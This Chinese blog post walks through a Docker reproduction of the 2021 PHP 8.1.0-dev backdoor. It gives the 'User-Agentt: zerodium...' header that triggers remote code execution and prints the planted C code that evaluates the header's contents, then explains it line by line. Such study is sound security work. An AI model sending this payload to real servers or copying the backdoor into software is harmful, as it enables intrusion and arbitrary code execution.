81backdoor

8.1.0 php后门

一个简单的复现

利用docker搭建起来后只有一句话

抓个包看看有没有什么东西

丢到repeater后发包也没看到有什么

根据提示,可以在请求头部加User-Agentt: zerodiumvar_dump(2*3);

可以远程命令执行

漏洞成因

2021年PHP Git仓库遭到入侵,攻击者在PHP源码中植入了恶意代码,这种恶意代码是被攻击者伪装成开发者或维护者的身份来进行提交,实际效果是植入了一个远程RCE后门。它会通过检查HTTP头中的字符串,如果是以zerodium开头,则会触发后门,执行php代码

1
2
3
4
5
6
7
8
9
10
11
12
13
{
zval zoh;
php_output_handler *h;
zval *enc;

if ((Z_TYPE(PG(http_globals)[TRACK_VARS_SERVER]) == IS_ARRAY || zend_is_auto_global_str(ZEND_STRL("_SERVER"))) && (enc = zend_hash_str_find(Z_ARRVAL(PG(http_globals)[TRACK_VARS_SERVER]), "HTTP_USER_AGENTT", sizeof("HTTP_USER_AGENTT") - 1))) {
convert_to_string(enc);
if (strstr(Z_STRVAL_P(enc), "zerodium")) {
zend_try {
zend_eval_string(Z_STRVAL_P(enc)+8, NULL, "REMOVETHIS: sold to zerodium, mid 2017");
} zend_end_try();
}
}

这里攻击者用了一个让人混淆的HTTP_USER_AGENTT头,zend_tryzend_end_try用于异常处理,即使执行的代码有问题也不会造成php的崩溃

strstr(Z_STRVAL_P(enc), "zerodium")中,strstr()函数用于查找第一个字符串中是否有包含第二个字符串,如果有,就返回后者在前者第一次出现的位置的指针,没有就返回NULL

Z_STRVAL_P(enc)了解一下就行,它是PHP扩展开发中的一个宏,用于从zval结构体变量中提取字符串

:::info

zval结构体构成比较复杂,感兴趣的可以点击这里

:::

zend_eval_string()相当于eval(),第二个变量用于接受执行结果,NULL则表示不关心执行结果

[:heavy_check_mark:get一点]{.label .success}看似代码长,实际上仔细分析之后也就那样,函数执行什么功能一般就会以什么功能的单词命名,还算好理解的

作者

Ins0mn1a

发布于

2024-03-19

更新于

2024-07-31

许可协议

# 相关文章
  1.CVE-2012-1823复现

:D 一言句子获取中...